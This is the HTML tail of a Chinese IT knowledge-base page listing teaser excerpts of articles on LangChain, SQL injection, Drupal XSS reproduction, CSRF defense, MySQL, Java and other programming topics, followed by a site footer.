                        <div>Langchain系列文章目录01-玩转LangChain:从模型调用到Prompt模板与输出解析的完整指南02-玩转LangChainMemory模块:四种记忆类型详解及应用场景全覆盖03-全面掌握LangChain:从核心链条构建到动态任务分配的实战指南04-玩转LangChain:从文档加载到高效问答系统构建的全程实战05-玩转LangChain:深度评估问答系统的三种高效方法(示例生成、手</div>
                    </li>
                    <li><a href="/article/1940276546786881536.htm"
                           title="Web学习:SQL注入之联合查询注入" target="_blank">Web学习:SQL注入之联合查询注入</a>
                        <span class="text-muted">kaikaile1995</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a>
                        <div>SQL注入(SQLInjection)是一种常见且危害极大的Web安全漏洞,攻击者可以通过构造恶意的SQL语句窃取、篡改数据库中的数据,甚至控制整个数据库服务器。本文将深入探讨SQL注入的一个重要变种——联合查询注入(Union-basedSQLInjection),介绍其原理、常见攻击方式、以及防御措施。SQL注入概述SQL注入是指将恶意的SQL代码插入到应用程序的输入字段中,使得这些代码被意外</div>
                    </li>
                    <li><a href="/article/1940265072907579392.htm"
                           title="[ vulhub漏洞复现篇 ] Drupal XSS漏洞 (CVE-2019-6341)" target="_blank">[ vulhub漏洞复现篇 ] Drupal XSS漏洞 (CVE-2019-6341)</a>
                        <span class="text-muted">寒蝉听雨[原ID_PowerShell]</span>
<a class="tag" taget="_blank" href="/search/%5B/1.htm">[</a><a class="tag" taget="_blank" href="/search/%E9%9D%B6%E5%9C%BA%E5%AE%9E%E6%88%98/1.htm">靶场实战</a><a class="tag" taget="_blank" href="/search/%5D/1.htm">]</a><a class="tag" taget="_blank" href="/search/vulhub/1.htm">vulhub</a><a class="tag" taget="_blank" href="/search/vulhub%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/1.htm">vulhub漏洞复现</a><a class="tag" taget="_blank" href="/search/Drupal/1.htm">Drupal</a><a class="tag" taget="_blank" href="/search/XSS%E6%BC%8F%E6%B4%9E/1.htm">XSS漏洞</a><a class="tag" taget="_blank" href="/search/CVE-2019-6341/1.htm">CVE-2019-6341</a><a class="tag" taget="_blank" href="/search/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/1.htm">渗透测试</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a>
                        <div>博主介绍‍博主介绍:大家好,我是_PowerShell,很高兴认识大家~✨主攻领域:【渗透领域】【数据通信】【通讯安全】【web安全】【面试分析】点赞➕评论➕收藏==养成习惯(一键三连)欢迎关注一起学习一起讨论⭐️一起进步文末有彩蛋作者水平有限,欢迎各位大佬指点,相互学习进步!文章目录博主介绍一、漏洞编号二、影响范围三、漏洞描述四、环境搭建1、进入CVE-2019-6341环境2、启动CVE-20</div>
                    </li>
                    <li><a href="/article/1939160977115246592.htm"
                           title="【安全建设 | 从0到1】企业安全体系建设线路" target="_blank">【安全建设 | 从0到1】企业安全体系建设线路</a>
                        <span class="text-muted">秋说</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a>
                        <div>文章目录一、安全体系建设v1.0——快速治理1.1安全风险初现1.2配置合适的安全负责人1.3识别主要风险点1.4快速风险削减策略Web安全治理(按优先级)业务风控治理移动安全治理员工行为安全治理口令安全治理钓鱼与社工防御合规治理二、安全体系建设v2.0——系统化建设2.1基于ISMS建设信息安全管理体系2.2基于BSIMM构建安全开发工程能力BSIMM简介常见问题应对2.3构建可复用的技术安全架</div>
                    </li>
                    <li><a href="/article/1938859372566343680.htm"
                           title="如何在FastAPI中打造坚不可摧的Web安全防线?" target="_blank">如何在FastAPI中打造坚不可摧的Web安全防线?</a>
                        <span class="text-muted"></span>

                        <div>url:/posts/9d6200ae7ce0a1a1a523591e3d65a82e/title:如何在FastAPI中打造坚不可摧的Web安全防线?date:2025-06-28T08:37:03+08:00lastmod:2025-06-28T08:37:03+08:00author:cmdragonsummary:Web安全三要素包括机密性、完整性和可用性。机密性通过加密算法保护数据传输和</div>
                    </li>
                    <li><a href="/article/1938517366061199360.htm"
                           title="深入理解CSRF攻击与防护机制" target="_blank">深入理解CSRF攻击与防护机制</a>
                        <span class="text-muted">布兰妮甜</span>
<a class="tag" taget="_blank" href="/search/javascript/1.htm">javascript</a><a class="tag" taget="_blank" href="/search/csrf/1.htm">csrf</a><a class="tag" taget="_blank" href="/search/%E9%98%B2%E6%8A%A4%E6%9C%BA%E5%88%B6/1.htm">防护机制</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>Hi,我是布兰妮甜!在当今高度互联的Web应用环境中,安全威胁无处不在。CSRF(跨站请求伪造)作为一种常见的Web安全漏洞,长期位居OWASPTop10安全威胁榜单。这种攻击方式利用了网站对用户浏览器的信任,可能导致用户在不知情的情况下执行非预期的操作,如资金转账、密码更改等。本文将深入剖析CSRF攻击原理,详细介绍多种有效的防护机制,并提供实用的JavaScript代码示例,帮助开发者构建更加</div>
                    </li>
                    <li><a href="/article/1938455604439871488.htm"
                           title="构建一个AI驱动的SQL注入测试系统" target="_blank">构建一个AI驱动的SQL注入测试系统</a>
                        <span class="text-muted"></span>

                        <div>一、引言在当今这个高度数字化的时代,数据已成为组织最宝贵的资产之一。无论是互联网平台、电商系统,还是企业内部信息化系统,其背后都离不开数据库支撑。数据库的安全性,直接关乎企业的数据完整性、隐私合规性乃至品牌信誉。而SQL注入(SQLInjection)作为最经典、最普遍的Web安全漏洞之一,至今仍是黑客攻击的主力武器之一。尽管业界已提出各种手段来预防SQL注入,如参数化查询、ORM封装、Web应用</div>
                    </li>
                    <li><a href="/article/1938450810807578624.htm"
                           title="Linux网络编程(四)——学习历程 多路IO之epoll" target="_blank">Linux网络编程(四)——学习历程 多路IO之epoll</a>
                        <span class="text-muted"></span>

                        <div>1.epoll如果内存1G,epoll就支持10w连接不能跨平台,只能在Linux中使用支持的并发量很大的I/O多路转接函数select支持跨平台在window平台中:select的第一个参数是没有意义的,写0就可以了在linux平台中:select的第一个参数是检测集合中最大文件描述符+1检测最大连接数:最大为1024检测方式和效率:线性检测,文件符越多,效率越低使用select检测集合会进行多</div>
                    </li>
                    <li><a href="/article/1937903540588572672.htm"
                           title="React 19 的 useActionState 如何防御 CSRF 攻击" target="_blank">React 19 的 useActionState 如何防御 CSRF 攻击</a>
                        <span class="text-muted">前端布洛芬</span>
<a class="tag" taget="_blank" href="/search/%E5%A4%A7%E7%99%BD%E8%AF%9D%E5%89%8D%E7%AB%AF%E5%85%AB%E8%82%A1/1.htm">大白话前端八股</a><a class="tag" taget="_blank" href="/search/react.js/1.htm">react.js</a><a class="tag" taget="_blank" href="/search/csrf/1.htm">csrf</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a>
                        <div>大白话React19的useActionState如何防御CSRF攻击在前端开发的“修罗场”里,每一个前端工程师都在与需求变更、性能优化、兼容性问题“斗智斗勇”,而安全问题更是悬在头顶的“达摩克利斯之剑”。尤其是CSRF(跨站请求伪造)攻击,作为Web安全领域的“常客”,让不少开发者头疼不已。好在React19带来了useActionState这个“秘密武器”,今天就带大家一探究竟,看看它是如何筑</div>
                    </li>
                                <li><a href="/article/96.htm"
                                       title="怎么样才能成为专业的程序员?" target="_blank">怎么样才能成为专业的程序员?</a>
                                    <span class="text-muted">cocos2d-x小菜</span>
<a class="tag" taget="_blank" href="/search/%E7%BC%96%E7%A8%8B/1.htm">编程</a><a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a>
                                    <div>  
如何要想成为一名专业的程序员?仅仅会写代码是不够的。从团队合作去解决问题到版本控制,你还得具备其他关键技能的工具包。当我们询问相关的专业开发人员,那些必备的关键技能都是什么的时候,下面是我们了解到的情况。 
  
关于如何学习代码,各种声音很多,然后很多人就被误导为成为专业开发人员懂得一门编程语言就够了?!呵呵,就像其他工作一样,光会一个技能那是远远不够的。如果你想要成为</div>
                                </li>
                                <li><a href="/article/223.htm"
                                       title="java web开发 高并发处理" target="_blank">java web开发 高并发处理</a>
                                    <span class="text-muted">BreakingBad</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/%E5%B9%B6%E5%8F%91/1.htm">并发</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91/1.htm">开发</a><a class="tag" taget="_blank" href="/search/%E5%A4%84%E7%90%86/1.htm">处理</a><a class="tag" taget="_blank" href="/search/%E9%AB%98/1.htm">高</a>
                                    <div>java处理高并发高负载类网站中数据库的设计方法(java教程,java处理大量数据,java高负载数据) 一:高并发高负载类网站关注点之数据库 没错,首先是数据库,这是大多数应用所面临的首个SPOF。尤其是Web2.0的应用,数据库的响应是首先要解决的。 一般来说MySQL是最常用的,可能最初是一个mysql主机,当数据增加到100万以上,那么,MySQL的效能急剧下降。常用的优化措施是M-S(</div>
                                </li>
                                <li><a href="/article/350.htm"
                                       title="mysql批量更新" target="_blank">mysql批量更新</a>
                                    <span class="text-muted">ekian</span>
<a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a>
                                    <div>mysql更新优化: 
一版的更新的话都是采用update set的方式,但是如果需要批量更新的话,只能for循环的执行更新。或者采用executeBatch的方式,执行更新。无论哪种方式,性能都不见得多好。 
三千多条的更新,需要3分多钟。 
查询了批量更新的优化,有说replace into的方式,即: 
 
 
replace into tableName(id,status) values</div>
                                </li>
                                <li><a href="/article/477.htm"
                                       title="微软BI(3)" target="_blank">微软BI(3)</a>
                                    <span class="text-muted">18289753290</span>
<a class="tag" taget="_blank" href="/search/%E5%BE%AE%E8%BD%AFBI+SSIS/1.htm">微软BI SSIS</a>
                                    <div>1) 
Q:该列违反了完整性约束错误;已获得 OLE DB 记录。源:“Microsoft SQL Server Native Client 11.0” Hresult: 0x80004005 说明:“不能将值 NULL 插入列 'FZCHID',表 'JRB_EnterpriseCredit.dbo.QYFZCH';列不允许有 Null 值。INSERT 失败。”。 
A:一般这类问题的存在是 </div>
                                </li>
                                <li><a href="/article/604.htm"
                                       title="Java中的List" target="_blank">Java中的List</a>
                                    <span class="text-muted">g21121</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>        List是一个有序的 collection(也称为序列)。此接口的用户可以对列表中每个元素的插入位置进行精确地控制。用户可以根据元素的整数索引(在列表中的位置)访问元素,并搜索列表中的元素。 
        与 set 不同,列表通常允许重复</div>
                                </li>
                                <li><a href="/article/731.htm"
                                       title="读书笔记" target="_blank">读书笔记</a>
                                    <span class="text-muted">永夜-极光</span>
<a class="tag" taget="_blank" href="/search/%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/1.htm">读书笔记</a>
                                    <div>   1.  K是一家加工厂,需要采购原材料,有A,B,C,D 4家供应商,其中A给出的价格最低,性价比最高,那么假如你是这家企业的采购经理,你会如何决策? 
    
     传统决策: A:100%订单  B,C,D:0% 
  
  &nbs</div>
                                </li>
                                <li><a href="/article/858.htm"
                                       title="centos 安装 Codeblocks" target="_blank">centos 安装 Codeblocks</a>
                                    <span class="text-muted">随便小屋</span>
<a class="tag" taget="_blank" href="/search/codeblocks/1.htm">codeblocks</a>
                                    <div>1.安装gcc,需要c和c++两部分,默认安装下,CentOS不安装编译器的,在终端输入以下命令即可yum install gccyum install gcc-c++ 
  
2.安装gtk2-devel,因为默认已经安装了正式产品需要的支持库,但是没有安装开发所需要的文档.yum install gtk2* 
3. 安装wxGTK 
   yum search w</div>
                                </li>
                                <li><a href="/article/985.htm"
                                       title="23种设计模式的形象比喻" target="_blank">23种设计模式的形象比喻</a>
                                    <span class="text-muted">aijuans</span>
<a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a>
                                    <div>1、ABSTRACT FACTORY—追MM少不了请吃饭了,麦当劳的鸡翅和肯德基的鸡翅都是MM爱吃的东西,虽然口味有所不同,但不管你带MM去麦当劳或肯德基,只管向服务员说“来四个鸡翅”就行了。麦当劳和肯德基就是生产鸡翅的Factory    工厂模式:客户类和工厂类分开。消费者任何时候需要某种产品,只需向工厂请求即可。消费者无须修改就可以接纳新产品。缺点是当产品修改时,工厂类也要做相应的修改。如:</div>
                                </li>
                                <li><a href="/article/1112.htm"
                                       title="开发管理 CheckLists" target="_blank">开发管理 CheckLists</a>
                                    <span class="text-muted">aoyouzi</span>
<a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E7%AE%A1%E7%90%86+CheckLists/1.htm">开发管理 CheckLists</a>
                                    <div>开发管理 CheckLists(23) -使项目组度过完整的生命周期 
开发管理 CheckLists(22) -组织项目资源 
开发管理 CheckLists(21) -控制项目的范围开发管理 CheckLists(20) -项目利益相关者责任开发管理 CheckLists(19) -选择合适的团队成员开发管理 CheckLists(18) -敏捷开发 Scrum Master 工作开发管理 C</div>
                                </li>
                                <li><a href="/article/1239.htm"
                                       title="js实现切换" target="_blank">js实现切换</a>
                                    <span class="text-muted">百合不是茶</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/%E6%A0%8F%E7%9B%AE%E5%88%87%E6%8D%A2/1.htm">栏目切换</a>
                                    <div>js主要功能之一就是实现页面的特效,窗体的切换可以减少页面的大小,被门户网站大量应用思路: 
   1,先将要显示的设置为display:bisible  否则设为none
    2,设置栏目的id  ,js获取栏目的id,如果id为Null就设置为显示
    3,判断js获取的id名字;再设置是否显示
 
  
代码实现: 
  
html代码: 
  <di</div>
                                </li>
                                <li><a href="/article/1366.htm"
                                       title="周鸿祎在360新员工入职培训上的讲话" target="_blank">周鸿祎在360新员工入职培训上的讲话</a>
                                    <span class="text-muted">bijian1013</span>
<a class="tag" taget="_blank" href="/search/%E6%84%9F%E6%82%9F/1.htm">感悟</a><a class="tag" taget="_blank" href="/search/%E9%A1%B9%E7%9B%AE%E7%AE%A1%E7%90%86/1.htm">项目管理</a><a class="tag" taget="_blank" href="/search/%E4%BA%BA%E7%94%9F/1.htm">人生</a><a class="tag" taget="_blank" href="/search/%E8%81%8C%E5%9C%BA/1.htm">职场</a>
                                    <div>        这篇文章也是最近偶尔看到的,考虑到原博客发布者可能将其删除等原因,也更方便个人查找,特将原文拷贝再发布的。“学东西是为自己的,不要整天以混的姿态来跟公司博弈,就算是混,我觉得你要是能在混的时间里,收获一些别的有利于人生发展的东西,也是不错的,看你怎么把握了”,看了之后,对这句话记忆犹新。  &</div>
                                </li>
                                <li><a href="/article/1493.htm"
                                       title="前端Web开发的页面效果" target="_blank">前端Web开发的页面效果</a>
                                    <span class="text-muted">Bill_chen</span>
<a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/Web/1.htm">Web</a><a class="tag" taget="_blank" href="/search/Microsoft/1.htm">Microsoft</a>
                                    <div>1.IE6下png图片的透明显示: 
<img src="图片地址" border="0" style="Filter.Alpha(Opacity)=数值(100),style=数值(3)"/> 
或在<head></head>间加一段JS代码让透明png图片正常显示。 
 
2.<li>标</div>
                                </li>
                                <li><a href="/article/1620.htm"
                                       title="【JVM五】老年代垃圾回收:并发标记清理GC(CMS GC)" target="_blank">【JVM五】老年代垃圾回收:并发标记清理GC(CMS GC)</a>
                                    <span class="text-muted">bit1129</span>
<a class="tag" taget="_blank" href="/search/%E5%9E%83%E5%9C%BE%E5%9B%9E%E6%94%B6/1.htm">垃圾回收</a>
                                    <div>  CMS概述 
并发标记清理垃圾回收(Concurrent Mark and Sweep GC)算法的主要目标是在GC过程中,减少暂停用户线程的次数以及在不得不暂停用户线程的请夸功能,尽可能短的暂停用户线程的时间。这对于交互式应用,比如web应用来说,是非常重要的。 
  
CMS垃圾回收针对新生代和老年代采用不同的策略。相比同吞吐量垃圾回收,它要复杂的多。吞吐量垃圾回收在执</div>
                                </li>
                                <li><a href="/article/1747.htm"
                                       title="Struts2技术总结" target="_blank">Struts2技术总结</a>
                                    <span class="text-muted">白糖_</span>
<a class="tag" taget="_blank" href="/search/struts2/1.htm">struts2</a>
                                    <div>  
 
 必备jar文件 
   
 早在struts2.0.*的时候,struts2的必备jar包需要如下几个: 
commons-logging-*.jar   Apache旗下commons项目的log日志包 
freemarker-*.jar          </div>
                                </li>
                                <li><a href="/article/1874.htm"
                                       title="Jquery easyui layout应用注意事项" target="_blank">Jquery easyui layout应用注意事项</a>
                                    <span class="text-muted">bozch</span>
<a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a><a class="tag" taget="_blank" href="/search/%E6%B5%8F%E8%A7%88%E5%99%A8/1.htm">浏览器</a><a class="tag" taget="_blank" href="/search/easyui/1.htm">easyui</a><a class="tag" taget="_blank" href="/search/layout/1.htm">layout</a>
                                    <div>在jquery easyui中提供了easyui-layout布局,他的布局比较局限,类似java中GUI的border布局。下面对其使用注意事项作简要介绍: 
     如果在现有的工程中前台界面均应用了jquery easyui,那么在布局的时候最好应用jquery eaysui的layout布局,否则在表单页面(编辑、查看、添加等等)在不同的浏览器会出</div>
                                </li>
                                <li><a href="/article/2001.htm"
                                       title="java-拷贝特殊链表:有一个特殊的链表,其中每个节点不但有指向下一个节点的指针pNext,还有一个指向链表中任意节点的指针pRand,如何拷贝这个特殊链表?" target="_blank">java-拷贝特殊链表:有一个特殊的链表,其中每个节点不但有指向下一个节点的指针pNext,还有一个指向链表中任意节点的指针pRand,如何拷贝这个特殊链表?</a>
                                    <span class="text-muted">bylijinnan</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>
public class CopySpecialLinkedList {

	/**
	 * 题目:有一个特殊的链表,其中每个节点不但有指向下一个节点的指针pNext,还有一个指向链表中任意节点的指针pRand,如何拷贝这个特殊链表?
拷贝pNext指针非常容易,所以题目的难点是如何拷贝pRand指针。
假设原来链表为A1 -> A2 ->... -> An,新拷贝</div>
                                </li>
                                <li><a href="/article/2128.htm"
                                       title="color" target="_blank">color</a>
                                    <span class="text-muted">Chen.H</span>
<a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/html/1.htm">html</a><a class="tag" taget="_blank" href="/search/css/1.htm">css</a>
                                    <div><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"  "http://www.w3.org/TR/html4/loose.dtd">    <HTML>    <HEAD>&nbs</div>
                                </li>
                                <li><a href="/article/2255.htm"
                                       title="[信息与战争]移动通讯与网络" target="_blank">[信息与战争]移动通讯与网络</a>
                                    <span class="text-muted">comsci</span>
<a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a>
                                    <div>      两个坚持:手机的电池必须可以取下来 
               光纤不能够入户,只能够到楼宇 
 
      建议大家找这本书看看:<&</div>
                                </li>
                                <li><a href="/article/2382.htm"
                                       title="oracle flashback query(闪回查询)" target="_blank">oracle flashback query(闪回查询)</a>
                                    <span class="text-muted">daizj</span>
<a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/flashback+query/1.htm">flashback query</a><a class="tag" taget="_blank" href="/search/flashback+table/1.htm">flashback table</a>
                                    <div>在Oracle 10g中,Flash back家族分为以下成员: 
Flashback Database 
Flashback Drop 
Flashback Table 
Flashback Query(分Flashback Query,Flashback Version Query,Flashback Transaction Query) 
下面介绍一下Flashback Drop 和Flas</div>
                                </li>
                                <li><a href="/article/2509.htm"
                                       title="zeus持久层DAO单元测试" target="_blank">zeus持久层DAO单元测试</a>
                                    <span class="text-muted">deng520159</span>
<a class="tag" taget="_blank" href="/search/%E5%8D%95%E5%85%83%E6%B5%8B%E8%AF%95/1.htm">单元测试</a>
                                    <div>zeus代码测试正紧张进行中,但由于工作比较忙,但速度比较慢.现在已经完成读写分离单元测试了,现在把几种情况单元测试的例子发出来,希望有人能进出意见,让它走下去. 
本文是zeus的dao单元测试: 
1.单元测试直接上代码 
  
package com.dengliang.zeus.webdemo.test;


import org.junit.Test;
import o</div>
                                </li>
                                <li><a href="/article/2636.htm"
                                       title="C语言学习三printf函数和scanf函数学习" target="_blank">C语言学习三printf函数和scanf函数学习</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/c/1.htm">c</a><a class="tag" taget="_blank" href="/search/printf/1.htm">printf</a><a class="tag" taget="_blank" href="/search/scanf/1.htm">scanf</a><a class="tag" taget="_blank" href="/search/language/1.htm">language</a>
                                    <div>printf函数 
/*
	2013年3月10日20:42:32
	地点:北京潘家园
	功能:
	目的:
		测试%x %X %#x %#X的用法
 */

# include <stdio.h>

int main(void)
{

	printf("哈哈!\n");  // \n表示换行

	int i = 10;
	printf</div>
                                </li>
                                <li><a href="/article/2763.htm"
                                       title="那你为什么小时候不好好读书?" target="_blank">那你为什么小时候不好好读书?</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/life/1.htm">life</a>
                                    <div>dady, 我今天捡到了十块钱, 不过我还给那个人了 
good girl! 那个人有没有和你讲thank you啊 
没有啦....他拉我的耳朵我才把钱还给他的, 他哪里会和我讲thank you 
  
爸爸, 如果地上有一张5块一张10块你拿哪一张呢.... 
当然是拿十块的咯... 
爸爸你很笨的, 你不会两张都拿 
  
爸爸为什么上个月那个人来跟你讨钱, 你告诉他没</div>
                                </li>
                                <li><a href="/article/2890.htm"
                                       title="iptables开放端口" target="_blank">iptables开放端口</a>
                                    <span class="text-muted">Fanyucai</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/iptables/1.htm">iptables</a><a class="tag" taget="_blank" href="/search/%E7%AB%AF%E5%8F%A3/1.htm">端口</a>
                                    <div>1,找到配置文件 
vi /etc/sysconfig/iptables   
  
2,添加端口开放,增加一行,开放18081端口 
-A INPUT -m state --state NEW -m tcp -p tcp --dport 18081 -j ACCEPT 
  
3,保存 
ESC
:wq! 
  
4,重启服务 
service iptables </div>
                                </li>
                                <li><a href="/article/3017.htm"
                                       title="Ehcache(05)——缓存的查询" target="_blank">Ehcache(05)——缓存的查询</a>
                                    <span class="text-muted">234390216</span>
<a class="tag" taget="_blank" href="/search/%E6%8E%92%E5%BA%8F/1.htm">排序</a><a class="tag" taget="_blank" href="/search/ehcache/1.htm">ehcache</a><a class="tag" taget="_blank" href="/search/%E7%BB%9F%E8%AE%A1/1.htm">统计</a><a class="tag" taget="_blank" href="/search/query/1.htm">query</a>
                                    <div>缓存的查询 
目录 
1.    使Cache可查询 
1.1     基于Xml配置 
1.2     基于代码的配置 
2     指定可搜索的属性 
2.1     可查询属性类型 
2.2 &</div>
                                </li>
                                <li><a href="/article/3144.htm"
                                       title="通过hashset找到数组中重复的元素" target="_blank">通过hashset找到数组中重复的元素</a>
                                    <span class="text-muted">jackyrong</span>
<a class="tag" taget="_blank" href="/search/hashset/1.htm">hashset</a>
                                    <div>  如何在hashset中快速找到重复的元素呢?方法很多,下面是其中一个办法: 
 
 


 int[] array = {1,1,2,3,4,5,6,7,8,8};
         
        Set<Integer> set = new HashSet<Integer>();
         
        for(int i = 0</div>
                                </li>
                                <li><a href="/article/3271.htm"
                                       title="使用ajax和window.history.pushState无刷新改变页面内容和地址栏URL" target="_blank">使用ajax和window.history.pushState无刷新改变页面内容和地址栏URL</a>
                                    <span class="text-muted">lanrikey</span>
<a class="tag" taget="_blank" href="/search/history/1.htm">history</a>
                                    <div>后退时关闭当前页面 
<script type="text/javascript"> 
 jQuery(document).ready(function ($) { 
        if (window.history && window.history.pushState) {</div>
                                </li>
                                <li><a href="/article/3398.htm"
                                       title="应用程序的通信成本" target="_blank">应用程序的通信成本</a>
                                    <span class="text-muted">netkiller.github.com</span>
<a class="tag" taget="_blank" href="/search/%E8%99%9A%E6%8B%9F%E6%9C%BA/1.htm">虚拟机</a><a class="tag" taget="_blank" href="/search/%E5%BA%94%E7%94%A8%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">应用服务器</a><a class="tag" taget="_blank" href="/search/%E9%99%88%E6%99%AF%E5%B3%B0/1.htm">陈景峰</a><a class="tag" taget="_blank" href="/search/netkiller/1.htm">netkiller</a><a class="tag" taget="_blank" href="/search/neo/1.htm">neo</a>
                                    <div>应用程序的通信成本  
什么是通信 
一个程序中两个以上功能相互传递信号或数据叫做通信。  
什么是成本 
这是是指时间成本与空间成本。 时间就是传递数据所花费的时间。空间是指传递过程耗费容量大小。  
都有哪些通信方式 
 
 全局变量 
 线程间通信 
 共享内存 
 共享文件 
 管道 
 Socket 
 硬件(串口,USB) 等等 
  
全局变量 
全局变量是成本最低通信方法,通过设置</div>
                                </li>
                                <li><a href="/article/3525.htm"
                                       title="一维数组与二维数组的声明与定义" target="_blank">一维数组与二维数组的声明与定义</a>
                                    <span class="text-muted">恋洁e生</span>
<a class="tag" taget="_blank" href="/search/%E4%BA%8C%E7%BB%B4%E6%95%B0%E7%BB%84/1.htm">二维数组</a><a class="tag" taget="_blank" href="/search/%E4%B8%80%E7%BB%B4%E6%95%B0%E7%BB%84/1.htm">一维数组</a><a class="tag" taget="_blank" href="/search/%E5%AE%9A%E4%B9%89/1.htm">定义</a><a class="tag" taget="_blank" href="/search/%E5%A3%B0%E6%98%8E/1.htm">声明</a><a class="tag" taget="_blank" href="/search/%E5%88%9D%E5%A7%8B%E5%8C%96/1.htm">初始化</a>
                                    <div>/**  *   */ package test20111005; /**  * @author FlyingFire  * @date:2011-11-18 上午04:33:36  * @author :代码整理  * @introduce :一维数组与二维数组的初始化  *summary:  */ public c</div>
                                </li>
                                <li><a href="/article/3652.htm"
                                       title="Spring Mybatis独立事务配置" target="_blank">Spring Mybatis独立事务配置</a>
                                    <span class="text-muted">toknowme</span>
<a class="tag" taget="_blank" href="/search/mybatis/1.htm">mybatis</a>
                                    <div>在项目中有很多地方会使用到独立事务,下面以获取主键为例      
(1)修改配置文件spring-mybatis.xml    <!-- 开启事务支持 -->    <tx:annotation-driven transaction-manager="transactionManager" />       &n</div>
                                </li>
                                <li><a href="/article/3779.htm"
                                       title="更新Anadroid SDK Tooks之后,Eclipse提示No update were found" target="_blank">更新Anadroid SDK Tooks之后,Eclipse提示No update were found</a>
                                    <span class="text-muted">xp9802</span>
<a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a>
                                    <div>使用Android SDK Manager 更新了Anadroid SDK Tooks 之后, 
打开eclipse提示 This Android SDK requires Android Developer Toolkit version 23.0.0 or above, 点击Check for Updates  
检测一会后提示 No update were found  </div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>